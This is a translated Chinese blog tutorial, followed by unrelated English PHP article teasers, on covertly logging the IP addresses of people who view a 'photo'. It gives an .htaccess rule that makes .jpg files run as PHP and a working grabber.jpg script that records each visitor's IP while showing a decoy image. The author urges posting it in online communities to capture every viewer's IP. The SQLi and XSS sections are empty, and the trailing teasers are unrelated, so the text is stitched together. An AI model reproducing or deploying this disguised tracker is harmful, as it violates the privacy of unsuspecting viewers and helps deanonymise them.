通过一张照片来获取ip地址

Jun 20, 2016 pm 12:30 PM

今天早上起床之后,我看到一篇关于“使用sql注入语句获取ip地址”的文章,对此我很感兴趣,就仔细阅读了一下,在读完这篇文章之后,我有了一个新的想法:通过对htaccess的利用,实现用一张照片获取他人的ip地址

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

$fh = fopen(‘ip_list.txt’, ‘a’);

fwrite($fh, $_SERVER[‘REMOTE_ADDR’].”

“);

fclose($fh);

$im = imagecreatefromjpeg(“n00b.png”);

header(‘Content-Type: image/jpeg’);

imagejpeg($im);

imagedestroy($im);

?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

现在,再说一下如何使用xss来获取ip地址:

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

谢谢您的阅读,Happy Hacking!

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

How does session hijacking work and how can you mitigate it in PHP? How does session hijacking work and how can you mitigate it in PHP? Apr 06, 2025 am 12:02 AM

Session hijacking can be achieved through the following steps: 1. Obtain the session ID, 2. Use the session ID, 3. Keep the session active. The methods to prevent session hijacking in PHP include: 1.

What are Enumerations (Enums) in PHP 8.1? What are Enumerations (Enums) in PHP 8.1? Apr 03, 2025 am 12:05 AM

The enumeration function in PHP8.1 enhances the clarity and type safety of the code by defining named constants. 1) Enumerations can be integers, strings or objects, improving code readability and type safety. 2) Enumeration is based on class and supports object-oriented features such as traversal and reflection. 3) Enumeration can be used for comparison and assignment to ensure type safety. 4) Enumeration supports adding methods to implement complex logic. 5) Strict type checking and error handling can avoid common errors. 6) Enumeration reduces magic value and improves maintainability, but pay attention to performance optimization.

Describe the SOLID principles and how they apply to PHP development. Describe the SOLID principles and how they apply to PHP development. Apr 03, 2025 am 12:04 AM

The application of SOLID principle in PHP development includes: 1. Single responsibility principle (SRP): Each class is responsible for only one function. 2. Open and close principle (OCP): Changes are achieved through extension rather than modification. 3. Lisch's Substitution Principle (LSP): Subclasses can replace base classes without affecting program accuracy. 4. Interface isolation principle (ISP): Use fine-grained interfaces to avoid dependencies and unused methods. 5. Dependency inversion principle (DIP): High and low-level modules rely on abstraction and are implemented through dependency injection.

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.
